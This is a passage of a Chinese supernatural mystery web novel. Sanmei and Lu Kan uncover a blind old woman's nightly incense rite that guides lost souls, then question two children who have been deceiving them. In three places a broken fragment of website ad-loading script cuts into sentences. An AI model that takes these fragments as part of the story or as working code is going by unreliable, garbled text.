“每月十五,在农田上香?”三枚眯着眼睛,向少年确认道,“在古井村?” 白墨点头,肯定地回答:“对。” 十五月圆,香雾作引,月光照路。 “然后呢?” 三枚从椅子上站了起来,慢慢地走到白墨的身边。 她蹲在少年的跟前,看着他的眼睛,严肃地问道,“你之后,是不是还发现了什么?” 白墨咕咚吞了口口水,点头道:“嗯。” “瞎眼老妪在古井村呆了整整一夜,不仅没有出事,还在回家的路上,意外捡到了两个金元宝。” 白墨不好意思地摸了摸鼻子,“这是我偷偷跟在老妪的身后,听见她跟家里的人说的。” “这之后,我对古井村便多留了个心眼。” 有一阵子,他日夜都蹲守在鬼村附近,然而除了瞎眼老妪十五定时进村之外,什么收获都没有。 后来,他转而开始留意起了碧水村里的人,特别是跟村长交好的人家。 没想到,居然真让他发现了端倪。 阿丑忍不住也凑到了白墨的身前,歪着脑袋,追着问道:“什么端倪?” “跟村长同宗的几个叔伯,有时候会在子时的时候,趁夜深人静,鬼鬼祟祟地进入古井村,哦,他们的手里还拿着一个巴掌宽的小坛子。” 白墨摸着下巴,思考了一会儿,又道:“现在想想,好像他们每次出现的时间,都是在瞎眼老妪上完香的第二日。” “对了,有一次我还捡到一个发黄的烂册子。” 三枚:“发黄的烂册子?” “对,诶,我之前不是跟你说过的吗?” 白墨指着阿丑,“那册子里写着,鬼村吞人只吞三类人,夫妻、子女、父母。” 三枚拧眉:“什么意思?” “我也不是很清楚。” 白墨挠挠头,“册子就是这样写的,我也记不大清,只记得里面说这三类人,组成一个家庭,代表了阴阳结合之类的。” “嗨,简单来说,就是没有干系的人,住进古井村,就都没事。” 阿丑眨了眨眼,帮忙补充解释道:“所以瞎眼老妪孤身一人进村,没事发生。还有他说的村长的同宗之人,不是阴阳结合的关系,所以进出鬼村,也没事。” 三枚哼了一声,“白阿丑,你知道的挺多啊。” 阿丑一噎,“呵呵,这不,我比较、比较聪明嘛。” “他说他之前就跟你说过了哦。” “哈哈、是的呀,但你也知道,我奶、我奶古板,不让我跟其他姓白的人鬼混,我、我总不能出卖这小子嘛。” “哼。”三枚瞪了阿丑一眼,“编!我看你要编到何时!” 在边上安静听着的陆衎,忽而蹙眉,看着白墨问道:“你们村长,怎么称呼来着?” 白墨:“我们村长姓洪,名寿昌。” “洪?然后你姓白?” “对、对呀。”白墨紧张地舔着唇角,睨了阿丑一眼,“怎么、怎么了吗?” 三枚摇头:“没事。” “你看着他们俩,”她朝陆衎招招手,“我捋捋头绪再说。” 陆衎点头:“嗯。” 对话暂时告一段落,气氛骤然冷却,空气一下子就安静了下来。 幽暗的茅草屋,没有人开口说话,一时只能听见几人浅浅的呼吸声。 也不知过了多久,“哗!” 乍然响起一声闷响,好似从很远、很空旷的地方传来的声音。 “这是什么声音?”阿丑抱紧三枚的胳膊,有些颤颤地问道。 陆衎不动声色地睨了阿丑一眼,眉心微蹙,心情有些不悦。 三枚将阿丑推开,一边站起来,一边问陆衎:“听出来是从哪个方向传来的吗?” 陆衎点了点头,小心地推开了窗户。 他眯着眼睛,朝远方眺望了一眼,转头对着三枚,轻声道:“我们半个时辰前经过的农田,应该是自那儿传来的声音。” 他的话音刚落,白墨一下子就从地上蹦了起来,嘴里大喊:“糟糕!” 阿丑被他吓了一跳,一脸紧张地问道:“怎么了?” “今儿就是十五,这是瞎眼老妪,进村来上香来了!” —— “这是、瞎眼老妪砸掛的声音!” 白墨说完,小黑脸顷刻变得惨白。 三枚:“砸掛?” “对,打砸一件长袍大褂。” 白墨抹了把额上的冷汗,呼了口气才道:“知道古井村不会随便吞人之后,我因为实在好奇,大着胆子跟着那瞎眼老妪,到过农田几次。” 老妪虽然眼瞎,但不知为何,行走在黑夜的她,毫无阻碍,仿若回了自家一般自然习惯。 明明古井村对她而言,是陌生的乡道,却一点磕碰都没有,甚至比尾随在身后的白墨,还要耳聪目明的样子。 有时月光隐匿在云层后头,没有光亮照路,瞎眼老妪也能准确地走进农田,在同一个位置俯下身子,低头摸索出一件长袍大褂。 “那件大褂,就是街上随处可见的普通衣裳,但奇怪的是,它的两边袖口和下摆的位置,都被缝紧了。” 瞎眼老妪伸出两只瘦成鸡爪一般的手,捏着大褂的两肩,提举过头顶,对着天上的圆月,用力地抖了抖,嘴巴里还叽里咕噜地念着什么。 “褂子里头臌胀胀的,应该是兜着什么东西,看起来重量不轻。老妪抖动它的时候,能听见里头有硬物被晃动后、互相撞击的声音。” 念念有词了一会儿,瞎眼老妪会突然发出一声诡异的“赫赫”声,接着拽着大褂领口的位置,手腕一转,用巧劲将大褂甩到身后,最后再用力地砸到地上。 “哐啷、哐啷、” 大褂被重复提起,又重重砸落,几次之后,密封的袖口和下摆,突然,发出“哗”的一声又重又闷的响动,自内向外骤然破开。 三枚摸着下巴,若有所思地问:“砸褂,砸出了什么东西?” 白墨咽了咽口水,紧张兮兮地环顾了茅草屋一圈,小小声地回答:“牌位。” 他神神叨叨地强调道:“什么都没有刻的空牌位。” 长袍大褂破开的袖口和下摆,像是决了堤的河口,源源不断地吐出一个又一个空牌位。 陆衎看了眼皱眉陷入思考的三枚,将人带到椅子上坐下。 三枚乖顺地被牵着走,边走边问:“然后呢?老妪对那些吐出来的空牌位,怎么处置的?” 白墨搓了搓自己胳膊上的鸡皮疙瘩,想了想道:“然后,老妪就把那些空牌位,在农田里一一摆放好,然后就开始上香。” 香燃到一半,就又重新点新的上去,如此反复,直到月亮下山。 “我跟了老妪几次,每次所见大同小异,差不多都是这样。” 陆衎:“你之前说,十五之后,碧水村与村长的同宗,会在翌日子时进入古井村,你知道他们进村之后,做了什么吗?” 白墨摇头,“我也是仗着老妪眼瞎,即使被发现了,暴露身份的可能性很低,才敢跟在她的身后,至于村长他们,我不敢......” “嗯。” 陆衎点点头,见白墨嘴唇发白,一直搓着胳膊瑟瑟发抖的可怜样,没再继续追问下去。 房间又陷入了沉默,一时安静得落针可闻。 白墨脚下却仿佛长了针,想赶紧离开这儿,又感觉外头突然变得阴森森了起来,害怕得开始抓耳挠腮,手脚发颤。 “我、我......”他支支吾吾,欲言又止。 “你抖成这样,是想制造什么紧张恐慌的气氛?想吓唬谁呀!”阿丑嫌弃地看着冷汗淋漓的白墨。 “一个瞎眼老妪,就把你吓成这样了?” “不是,哎呀!”白墨咽了咽口水,抱着脑袋又蹲到了地上。 他声音闷闷地道:“你不知道,若是我被发现不仅瞒而不报,还擅自闯进了鬼村,我一定死定了!” “村长一定不会放过我的,而且我的家人,肯定会跟着受到牵连,”少年苦兮兮地皱着脸,絮絮叨叨地抱怨着。 “本来我家在村里就不太受人待见,为了能在村里好过点,我好不容易才抢到蹲守鬼村的活儿......若是被发现,肯定全完了......” 阿丑见好朋友真的慌了阵脚,也不再趾高气昂了,连忙蹲到他的身边,拍着他的肩膀,安慰道:“哎呀,没事的啦。” “这不是还没被发现吗?你干啥自个吓唬自个,放宽心啊。” “再说了,天塌下来,还有我家小姐和她那高个儿的夫君顶着呢!你放心,咱们这些腿短的家伙,没那么容易死的!” 三枚嘴角一抽:......这家伙,说的是人话吗? “有时候,是真想跟这些个小屁孩好好计较计较,叫他们尝尝什么才是人间险恶。” 三枚握着拳头,张牙舞爪。 “呵,”陆衎轻笑一声,见人已经回神,摸了摸有些炸毛的三枚,垂眸问她:“有什么头绪吗?” 三枚摇头,空牌位和上香倒是不难猜测,结果都是为了引魂上路罢了。 倒是对那件装着空牌位的长袍大褂,她有些好奇。 还有瞎眼老妪的一整套 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 仪式,听起来还挺专业,若不是老妪深藏不漏,就是背后有高人指点。 她皱了皱脸,小声说道:“我到农田那边看看,你留在房间,看着阿丑他们俩。” 陆衎不放心:“我陪你一起去。” 三枚摇头,下巴朝阿丑和白墨的方向一点,凑到陆衎的耳边,压低声音:“你得替我看着他们。” “不管是阿丑,还是那个叫做白墨的少年,他们的话都不可轻信,我得亲自过去看一眼,才好做判断。” 三枚尾指轻轻勾住陆衎的袖子,“不用担心我,有事第一个通知你。” 陆衎反手握住了她的手指,皱眉纠结了一会儿,才轻轻点头。 “答应我,这次不能再乱来了,若是一感觉不对劲,一定不要逞强。” “嗯嗯,”三枚点头如捣蒜,“听你的。” 她答应得这般爽快,陆衎的眉头反而皱得更深了。 他忧心忡忡:三枚心软,戒心有,但总是不愿将人想得太坏,尤其是对未长成的小孩。 他瞥了眼蹲在角落里窸窸窣窣的两个小脑袋,在心里叹了一口气:也罢,趁三枚不在,就让他好好审审这两个小家伙。 阿丑和白墨莫名后颈一亮,冷不丁打了个冷颤,赶紧抱紧自己。 —— 厚重的云层,遮挡了明亮的圆月,洒照在地上的月光,霎时全被天上收了回去。 天空一片黑暗,地上更是伸手不见五指。 换回自己的长袍,三枚为了行动方便,将裤脚和袖口都绑紧了,脚上套着自己更习惯穿的麻线鞋。 活动活动脚腕,她对着一脸担忧的陆衎挥了挥手,三两下便窜进了黑黢黢的窄巷。 三枚背着锁魂箱,疾走在暗影里,听着耳边呼呼作响的风声,脚步不停。 天黑前才踩过点,记忆还热乎着,她的大脑飞快计算到达农田的最短路线。 半刻钟的路程,三枚最后用了不到三分之一的时间,就看到了目的地。 白天一望无际的农田,与黑夜彻底融为一体,乌漆嘛黑什么都不看清楚。 蹲在角落,将憋在心头的一口长气,又缓又慢地小口吐了出来,三枚才开始抬眼眺望了农田片刻。 她将背上的锁魂箱解了下来,慢慢地打开了箱子。 “八耳,你睡够了吧,赶紧起来干活了。” 睡得迷迷糊糊的小八耳,突然被三枚从箱子里拽出来,眼睛还没睁开呢,就被丢到了地上。 它沙哑地“嘎”了一声,惺忪睡眼睁一只闭一只,艰难地从地上爬了起来。 结果脑袋发晕,两只小细腿怎么站,都站不稳,晃晃悠悠地又往地上躺去了。 三枚把它扒拉出来后就不管了,埋头在锁魂箱里摸索了一会儿,最后还是选择了倒扣在小铃铛上的破瓷碗。 “来吧,让我们来找找看,那个神秘的瞎眼老妪,现在到底藏在哪个犄角旮旯捣鼓鬼祟呢。” 手指轻轻对着碗底一勾,三枚右手向上一翻,小小的破瓷碗转瞬就落在了掌心之上。 她将缠在腕上的红绳一松,绳上的铢钱顺着碗沿绕了一圈。 松松垮垮滑落碗底的五铢钱,慢慢地绕着圈儿,倏而一颤,一下子就立了起来,紧紧地贴在了碗口。 三枚眼尾一挑,指尖在眉心一点,顺着铢钱竖立的方向扫了一眼。 微风拂过,簌簌作响。 宁静的暗夜,忽而亮起一抹微弱的火星子,一闪而过。 “原来在这里!” 抓起锁魂箱,三枚犹如疾驰的猎豹,风一般的冲了出去,经过四仰八叉躺在地上的八耳时,顺手把住了它尖锐的鸡嘴。 昏睡的小八耳,骤然吃痛,猛然张开了双眼。 呼啸的风声,哗哗地扇在它的脸上,卷起的灰尘,瞬间就迷了它的眼。 八耳大惊失色,刚想张嘴嚎叫,却发现自己的嘴巴被人紧紧的钳制在手里,急得它拼命地伸长了脖子,肚子“咕咕”乱叫。 “啧!”三枚轻啧一声,压着嗓子,用气音吼它:“闭嘴。” 窜进了农田,有了稻草遮挡的三枚,为了不打草惊蛇,稍微放慢了速度。 “把眼睛睁开,看清楚再扑腾!” 挣扎的八耳一僵,眯开眼睛,入目便是三枚严峻的侧颜。 “咕!” “咕你个头!”三枚睨了它一眼,“赶紧给我打起精神,好好警戒四周。” 被三枚这么一凶,八耳瞬间噤声,条件发射乖顺了下来,也不再再戏多作妖了。 三枚轻哼一声,扒开另一处草丛,抓着八耳的手一松,又开始疾跑了起来。 须臾之后,她匍匐在凸起的石块之后,之前若隐若现的微弱星火,近在眼前。 三枚揉了揉眉心,微弱星火骤然消失,取而代之的是一个佝偻的身影。 目光锁定趴在地上叩拜的小老妪身上,三枚嘴角微微上扬:“找到了!” 102. 第 102 章 黑暗笼罩大地,高悬天空的圆月,被厚重的云层遮挡住了光辉。 农田里的稻穗和野草交叉错杂在一起,随风摇曳,却一点生命的气息都感受不到。 空气里弥漫着刺鼻的腥臭味,黑芒占据了倾覆了整片农田。 有一种令人无法言喻的苍茫和孤寂,自内心油然而生。 三枚的眼睛彻底适应了黑暗,她聚精会神,凝视着远方,看着一直在重复起身、叩拜两个刻板动作的老妪。 老妪的动作蹒跚,拜完一次,便立起一块空牌位,再跪下叩头,又立起一个牌位...... 如此循环反复,她的速度一直不疾不徐,井然有序。 直到将砸落在地上的所有牌位立起,老妪才慢慢地停止了动作。 三枚循着活人的生气,找到这里的时候,其实老妪已经忙活了好一会儿了。 本以为接下来就是白墨所说的上香的步骤了,不想老妪长叹了一口气,突然就跳起了大神。 三枚:...... 老妪的动作来得有些突然,令人猝不及防,三枚稍显错愕。 她其实不确定老妪张牙舞爪的夸张表情,和大开大合的轻浮跳动,算不算是跳大神的一种,但......姑且先这般认为吧。 老妪肢体动作尽管看起来滑稽可笑,而且有些步履蹒跚,看起来却根本不像个盲人。 她游刃有余地行走在小小牌位之间,每一个步伐都是那么的从容老练,脚下的每一步,都准确地踩在空地上,一点磕碰、停顿都没有。 “难怪......” 三枚有些明白,为深渊里的活死人引魂上路这样的事儿,为什么要交给这样一个瞎眼老妪来做了。 够唬人啊! 任何一个正常人,在这样一个黑暗如潮水般涌动的深夜里,乍然看见一个骨瘦如柴的老妪,龇牙咧嘴旁若无人地跳舞,不被吓死才怪。 何况老妪嘴里还叽里咕噜念叨不停,神神道道的诡异动作,配上一地密密麻麻的空牌位,怎么不令人浮想联翩,心生害怕? 这时候若是再略过一阵森冷的寒风,偶尔响起一两声奇怪的声音,保准吓得你失魂落魄。 也怪不得白墨说起老妪砸掛的时候,满脸的悚然后怕。 然而三枚看了一会儿,却是摇头失笑:“全是花架子。” 瞎眼老妪动作唬人,也就吓吓不懂事的孩子,其中多半还是托了周边的环境和神秘氛围的衬托。 静静地观察了一会儿,见小八耳突然在老妪的身前冒头,而对方一点反应都没有的时候,三枚才小心翼翼地直起了身子。 八耳大摇大摆,闲庭散步一样地在老妪的身边来回踱步,浑身轻松的模样,说明周围没有危险。 尽管如此,三枚依然没有贸然直进,而是小心猫着走,她的目光已经从老妪的身上移开。 她缓步前进,身子扒开草丛的时候,尽量顺着风向,减轻不必要的摩擦。 视线落在老妪的脚边,三枚示意八耳将地上的长袍大褂叼走,自己则时不时看一眼摆在地上的空牌位。 八耳豆眼一眨,瞬间秒懂三枚的眼神暗示。 就在它蹑脚抓起地上的破大褂,堂而皇之地从老妪身前走过的时候,跳大神的老妪,突然停下了动作。 三枚眼尾一跳,给八耳打了个手势:“先撤!” 八耳却是个反骨小犟种,不仅不听话,反而故意走到瞎眼老妪的跟前,豆眼目不转睛地瞪着人不放。 “啧。” 三枚无奈,翻手弹出一枚铢钱,正中八耳头顶鸡冠。 她指尖往轻轻往外一撇,还想上前扒拉老妪的八耳,瞬间就被弹飞,期间一点声响都没有发出。 八耳豆眼圆瞪,虚空对上三枚的厉眼,立马认怂,把叨在嘴里的大褂吐掉,它砸吧砸吧嘴,连叫都不敢叫,老老实实地被铢钱带飞,转眼就回到了三枚的身边。 “嗯?” 身边突然扫过一阵大风,老妪奇怪地低头,竖着耳朵听了一会儿,没再听到什么声音,又慢慢地蹲下了身子,伸手在地上摸索了起来。 三枚悄悄上前几步,看着老妪双手哆哆嗦嗦地在大褂上游走了会儿,找到袖口的位置,慢慢地将手伸了进去。 又起晚风,将天空的乌云吹拂明朗,只剩薄薄的一层云翼。 月光透过薄纱般的云层,洒下朦胧的光辉,黑茫茫的视野,霎时变得清明了起来。 幽暗的月色之下,一地的空牌位赫然在目,静谧的深夜里,瘦骨嶙峋的老妪赫赫的呼吸,越发明显。 三枚突然福临心至,抬头看了一眼天色,忽而眼尾一挑,心道:“子时了。” 瞎眼老妪,该是要上香了。 果不其然,等三枚再次垂眸,看向老妪的时候,就见她已经从大褂里摸出了一把线香,正准备点燃。 夜色里,火光乍亮,仿佛开出一朵橙红色的花,随着微风轻轻拂过,时明时暗。 老妪手里捻着三支香,慢慢地靠近火光,须臾便飘起了灰色的烟雾。 香被点燃,火便被掐灭。 老妪对着悄然露头的圆月,拜了三拜,最后跪在地上,朝着空牌位的方向,插上了线香。 “嗡嗡——” 三枚视线刚落在空牌位上,脚边的锁魂箱忽而一颤。 木清梅和马大旺一家的幽魂,自从被三枚的紫铜铃铛吸附进棺椁后,便一直沉眠不醒,现下却有动静了。 她的耳朵立马贴在箱板上,却是什么都听不见了。 眉心微微蹙起,三枚的目光,慢慢在老妪的周边逡巡了起来。 最后,她眼神一定,视线完全聚焦在那徐徐飘散的烟雾上。 三枚皱着鼻子嗅了嗅,微微清香,寡淡中夹杂着浅浅的铁锈味。 “原来是引魂香。” 黑渊那些被活埋在养尸地里的活死人,身上丢了的魂,全让这香给引到古井村来了。 “看来他们还没发现,黑渊和那些活死人,已经被自己给封印了。” 她本来还想就近研究一下摆在地上的空牌位和那件长袍大褂的,但现在看来,全都是弄虚作假,混淆耳目。 重点就在最后被点燃的引魂香上,还有那些被引到古井村的魂魄。 三枚不禁摸着下巴,心想:它们最后,会流向哪儿呢? 思忖了一会儿,三枚忽而双眼一亮,她垂眸看着手里的破瓷碗,恶作剧般轻笑了一声。 手掌一翻,她从袖中,也跟着抽出了三根线香。 “既然你用香引出了一条魂路,那我也用香,借你道路一用。” —— 这边茅草屋里,走了三枚,就剩陆衎和两个半大孩子。 阿丑和白墨胳膊贴着胳膊,并排乖顺地跪坐在地上,像做了错事一样,低垂着脑袋,不敢抬头。 陆衎斜倚在窗边,一语不发,周身气场却十分强悍。 他就那么居高 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 临下地,目不转睛,安静地盯着阿丑和白墨。 原本跟白墨窸窸窣窣说着什么的阿丑,后背倏而一凉,转头就对上了陆衎的冷眼,吓得她立马闭嘴,默默地蹲坐在了地上,然后又慢慢地跪坐了起来。 白墨见状,也被陆衎的气场震慑,紧张地咽了咽口水,须臾也自觉跟着阿丑跪坐在陆衎的面前。 随着沉默的时间越来越长,正襟跪坐在地上的两人,俱都汗流浃背,心中踹踹不安。 阿丑忍了又忍,终于忍不住,出声打破了沉默。 “我、我是不是、做错了什么?”她小心翼翼、结结巴巴地问道。 “呵。”陆衎冷笑一声,慢吞吞地反问:“你说呢?” 阿丑双肩一颤,“我、我不知道......” 妈呀,这陆大人怎么前后两个样啊? 之前分明还挺柔和的一个人,怎么三枚阿姐一走,瞬间就沉了脸,看起来十分凶狠的样子。 陆衎面无表情,也不跟他们兜圈子,直接道:“三枚心软,即使看穿了你们的小把戏,亦不会狠心戳穿。” 白老太或许是从木清梅和巧儿那里,摸清了三枚的个性,知道她对纯真的孩子,总是包容和耐心的,于是三番两次将阿丑推到她的面前。 这次又来个白墨...... 陆衎唇边泛着冷笑,三枚不是软柿子,他也不是纯摆设。 “你俩若还打量着怎么诓人,我是不介意让你们尝尝,我大理寺审讯犯人的手段。” 说完,他站直了身子,稍微转动了下手腕,眼神凉凉地盯着白阿丑。 “啊!!” 阿丑吓得往白墨身后一躲,“二哥救我!” 白墨不愧小小男子汉,身子往前一挺,张开双臂,一下子就护在了阿丑的身前。 “阿丑什么都不懂,有事你冲着我来!” 少年郎气势挺足,眼睛却不敢直视陆衎,视线落在他转动的手腕上。 在陆衎无言的威视下,白墨默默地垂下了头,挺直的身子也慢慢地弯了下去。 陆衎:“怎么,不装冤家路窄啦?” “我、我、”白墨一噎,紧张地咽了口口水,“对,我们刚才都是演的,但、但是我说的话都是真的。” “我、我们也没做什么坏事,就是、就是真话、真话说不全罢了。” 这话怎么听着这么耳熟,好像两个时辰前,白老太也这么说过。 果然不是一家人,不进一家门,强词夺理的天赋,都是一脉相承的。 再看一脸惨白的白墨,和瑟瑟发抖的阿丑,陆衎心里嗤笑:小孩子就是不经吓,一下子就被他诈出真面目。 陆衎玩味一笑,身子又懒懒地往后一倚。 “若是不想死,就给我老实呆着。”他声音又轻又缓,口吻却冷酷又瘆人。 白墨和阿丑浑身一僵,吓得直吞口水。 陆衎斜睨了他们一眼,“还有,对三枚放尊重点,别以为是个人都能算计她。” 白墨和阿丑猛然抬头,异口同声地道:“尊重尊重!” “你们在做什么?” 茅草屋里突然响起三枚的声音,陆衎立马转头,就见三枚拽着小八耳,站在门口,一脸好奇地看着他们。 白墨和阿丑瞪大眼睛,咻的一下看向了陆衎。 陆衎翻脸比翻书还快,生人勿近的冷漠瞬间退散,看着三枚眉角眼梢都是笑意。 “你回来了。” 103. 第 103 章 三枚将八耳塞到陆衎怀里,解下身上锁魂箱,指着还跪坐在地上的两人。 “他俩咋回事?” 一黑一白两张小脸怎么都丧着,一个哀怨一个委屈,跪在地上,像犯了错误的小孩一样,左顾右盼,紧张地看着大人的脸色。 陆衎斜睨了阿丑他们一眼,慢声道:“哦,他俩刚才主动承认了错误,现在正在自我反省中。” “嗯?”三枚杏眼眨了眨:“承认什么错误?反省什么?” 陆衎将三枚引到椅子上坐下,看着白墨道:“听见没有,问你们犯什么错呢?” “额......” 不知为何,白墨虽然害怕陆衎,但不知为何,总觉得三枚好像更可怕的样子。 看她手里拿着三根线香,令人莫名联想到农田里跪拜空牌位的瞎眼老妪。 浑身打了个冷颤,白墨突然就结巴了起来:“就是、就是......” 与他正相反,阿丑浑身绷紧的神经一松,偷觑了陆衎一眼,趁他转身的间隙,连忙朝三枚的方向膝行几步。 她眨巴眨巴眼睛,眉眼往下一耷拉,再微微一蹙眉,瞬间就变得可怜兮兮了起来。 “三枚阿姐,我们错了。” 阿丑开口率先认错,见陆衎脚下一顿,没甚大反应,才舔了舔嘴角,继续说道:“其实,我和白墨,原本就是老相识了,今天的偶遇,也是、也是演戏来的......” 不敢再耍小心思,也不敢再编排谎话,阿丑老老实实,从头到尾地把事情都交代清楚。 包括三枚半夜前脚进山为巧儿送魂,她奶后脚就打开云阁,让她送了封信到碧水村,然后白墨他爹娘便默默地策划了今天这么一场偶遇的戏码。 三枚一点也不惊讶,想了想,有些不得劲地道:“等会儿,你们怎么就知道,今儿我一定会来古井村?” “还有,倘若来的不是我,你们这戏还演得下去吗?” “演啊!” “山不就我,我来就山呀。”阿丑圆溜溜的大眼睛里,倒影着瞪眼无语的三枚,她嘿嘿一笑,“只要主角是您,怎么演就是我们的事了。” “其实,只要将瞎眼老妪的事儿,和白老姑她爷爷那本小册子的内容,告诉给您知道,我们的任务就算完成了。” 白墨补充解释道,“但我刚才跟阿丑对了下情报,发现计划有变,白老姑原来已经和您达成了合作......” 他不好意思地挠了挠后脑勺,“早知道我就不演了,都怪阿丑,也不提醒我一下。” “二哥,你怎么还怪上我了!哎哟——”阿丑一下子就站了起来,结果跪坐太久,脚麻了。 她痛苦地抱着腿,哎哟哎哟伸直了腿,忍过了最初的麻劲,才接着道:“咱们为了今天这场戏,私下排练了多久啊,总不能白练了啊。” 三枚:...... 她莫名其妙地看了陆衎一眼,忽然觉得自己跟这俩小孩有些代沟。 意识到这点的时候,三枚瞳孔一晃,眼神有瞬间的迷茫。 她呆呆地抬起眼睛,看着陆衎,一脸寻求认同地问:“你也搞不清楚他们的脑回路吧。” 摸了摸三枚头上又飞翘起来的小炸毛,陆衎轻轻地摇了摇头:“搞不懂。” “那就好。”三枚拍了拍自己,轻声道,“幸好咱俩没代沟。” 陆衎唇线微扬,轻轻点了点头。 “你在农田那边,有什么发现吗?”他轻声问道。 说到正事,三枚瞬间回神,她举了举手里的线香,嗤笑道:“瞎眼老妪,不足为惧。” “她就是一个傀儡,什么砸掛拜月摆牌位的,都是唬人的障眼法,全是为了铺垫最后那不起眼的一步。” 陆衎眼尾一挑:“上香?” “对。”三枚点头,“香引魂路,是为了给黑渊里的活死人带路。” “他之前提过的,”她指了指白墨,“十六子时,估计是碧水村的人进村验货,进而开始控制那群活死人的时间。” “那你这香?”陆衎指着三枚手中徐徐飘散着香雾的线香,“是怎么回事?” “哦,这个呀。” 三枚拍了拍手边的锁魂箱,“一是为了稳重木清梅和马大旺一家三口的魂,二来呢,借老妪那边铺设的魂道一用。” 她唇线一扬,挑眉看着陆衎,下巴一抬,自信满满地道:“人家用香,我也用香,看谁厉害!” “怎么看?”悄悄揉着发麻的双腿,白墨忽而开口问道。 阿丑瞪着水汪汪的大眼睛,看着三枚的眼神充满崇拜和好奇,她凑到三枚跟前,急切地道:“是不是要斗法?” 她手忙脚乱,一会儿展臂一会儿瞪眼,在三枚眼前各种比划:“这样,这样,再这样?” “去去去,瞎比划什么!” 白墨推开阿丑,“阿丑,你这是武侠,斗法是掐诀念法这种。” 三枚嘴角一抽,用力挥了挥手里的线香,“这玩意儿,你们是看不见吗?” 阿丑:“看见了啊,但你这香,看着也没什么神奇的呀——” “嘿你个白阿丑,你看不起谁呢?” 竟然敢质疑自己手中线香的能力,着实令人不能忍! 三枚起身就要给两个小屁孩好好一展身手,让他们好好开开眼界,却被陆衎拉住了手。 只见他只是轻飘飘地睨了阿丑一眼,什么也没说,就怕人吓得抿紧了嘴。 阿丑缩着脖子,脸色讪讪,举着双手,一边后退一边认怂地道:“尊重,尊重的!” 退到白墨身边的时候,她嗖的一下,又躲到了人的身后。 “二哥救我。”她小声地道。 白墨:......这时候又想起我了。 “小孩子有眼无珠不识货,以后再跟他们算账。”陆衎安抚三枚。 他将八耳放到地上,让它自己溜达去,自己则蹲到三枚的身前,问她:“需要将瞎眼老妪控制起来吗?” 三枚摇头:“不用。” 现在将人控制起来也没用,估计问也问不出个所以然,所有的一切,还得等明日再说。 “在此之前,”三枚下巴朝阿丑和白墨的方向点了点,沉声道:“带路吧。” 她要先到碧水村,会会这些个姓白的人家。 —— 碧水村,一间简陋的瓦房外。 陆衎抱着小八耳,牵着三枚的手,两人并肩站在紧闭的大门外,漫不经心地扫了周围一眼。 须臾,他下巴微抬,示意白墨和阿丑上前拍门。 晨光微弱,露水氤氲,碧水村一片静谧,好似还沉浸在睡梦中。 阿丑抓着白墨的胳膊,一直在左顾右盼,生怕有人突然出现,发现了他们一行奇奇怪怪的人。 两个人畏畏缩缩地上前一步,不敢突然用力拍门。 白墨觑着陆衎的眼色,迟疑了一会儿,将耳朵贴在门板上听了一会 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 儿,才小小声地道:“爹、娘,我回来了。” 阿丑声音颤悠悠,也压着声音说:“好叔、好婶,阿丑也来了。” “咿呀~” 两个孩子的话音刚落,大门应声而开,露出了一条缝隙。 就好像门另一边的人,早在那等着他们呢。 “来了,便把客人,迎进来吧。” 白墨咽了口口水,转头看着陆衎和三枚,不确定地说:“那、咱就进去吧?” 面无表情的陆衎,面上不动神色,牵着三枚的手,却是轻轻地紧了紧。 三枚挑了挑眉,默不作声,指腹按了按陆衎的手背以作回应。 沉默? 那就是答应了。 白墨舔了舔唇,手掌撑在门板上,稍微用力一推,毫不费力就推开了门。 首先映入眼帘的,是干净整洁的院子,越过院子,便是一间昏暗的堂屋。 “哗啦!” 昏暗中,突然亮起了一道火光,烛火被点燃,堂屋瞬间亮堂了起来。 在橙红烛光的照射下,堂屋里现出了一圈的人影,分列两排,大刀阔斧地稳坐在位。 或许烛火不够光亮,以至于在座的人,大部分都看不清人脸。 唯有高坐上首的中年人,面目清晰。 他神色肃穆,眸光炯亮。 隔着一个小院,屋里坐着的人,与站在院外的三枚和陆衎,一一对上了视线。 双方眼神隔空交锋了一会儿,中年人轻咳一声,率先打破了沉默。 “白墨、阿丑,还不将客人迎进门来?” 呆愣在一边的白墨一个激灵,立马回神,看着陆衎,态度不敢过多强硬,苦着脸一脸为难地道:“大人,您看......” 仿佛没有听见白墨的声音,陆衎仍旧沉默不语,不动如山地站在原地。 白墨咬了咬唇,轻轻掐了下阿丑的手背,肩膀把人往三枚的方向杵了杵。 “嘶~” 阿丑吃痛,一下就甩开了白墨的胳膊,“二哥,你作甚掐我?” 真是一点默契都没有! 白墨心里有些累,眼睛抽筋一样,对着三枚那儿眨了又眨,垂在身侧的手,又朝堂屋里指了指。 阿丑眼睛一亮,瞬间领悟了他二哥的暗示。 她是个记吃不记打的姑娘,从茅草屋到这儿,路上早就将之前的害怕和不愉快,抛到了脑后。 现在还见到了熟悉的人,阿丑连心里唯一的一点胆怯,都没了。 小姑娘挠了挠手背,大咧咧地道:“三枚阿姐,我二哥让我叫你进屋坐呢。” 白墨:......好吧,是这个意思没错。 见三枚他们一动不动,一点进屋的意思都没有,阿丑上前几步,伸手就要去拉三枚的胳膊。 “进屋呀,都是我们白家的叔婶,大家都是好人,快,咱们进屋说去。” 三枚眉心微蹙,侧了侧身子,避开了阿丑的拉扯。 八耳感受到三枚不悦的情绪,一下子就从陆衎的怀里蹦了出来,拍着翅膀,张嘴就要去啄咬阿丑。 “啊!”阿丑被突然暴起的八耳吓到,看着眼神凶狠的小野鸡,害怕地道:“三枚阿姐......” “呵。” 三枚冷笑一声,视线从堂屋里的那盏烛光上扫过一眼,接着侧过头,看着被白墨推开的那扇门扉。 “白家的家教,就是主人家躲在门后迎客的吗?” 104. 第 104 章 三枚的话音一落地,堂屋里坐了一圈的人影,忽而剧烈地颤动了起来,犹如水波一般,扭曲拉长了身形。 这时空气猛然刮起一阵冷风,嚯的一下,就将堂屋里的烛火给吹灭了去。 八耳拍着翅膀,飞上瓦房,在头顶盘旋了一圈,徐徐又飞了回来。 陆衎长臂一伸,小八耳便稳稳地落在他结实的小臂上。 “咿呀~” 门扉发出又一声轻响,接着是重重的脚步声。 藏在门后的人,慢慢地走了出来。 便是方才堂屋里坐着的中年人。 白墨眨了眨眼,不敢看向身后的陆衎和三枚,心虚地垂下脑袋,盯着中年人的鞋尖,小声喊道:“爹。” 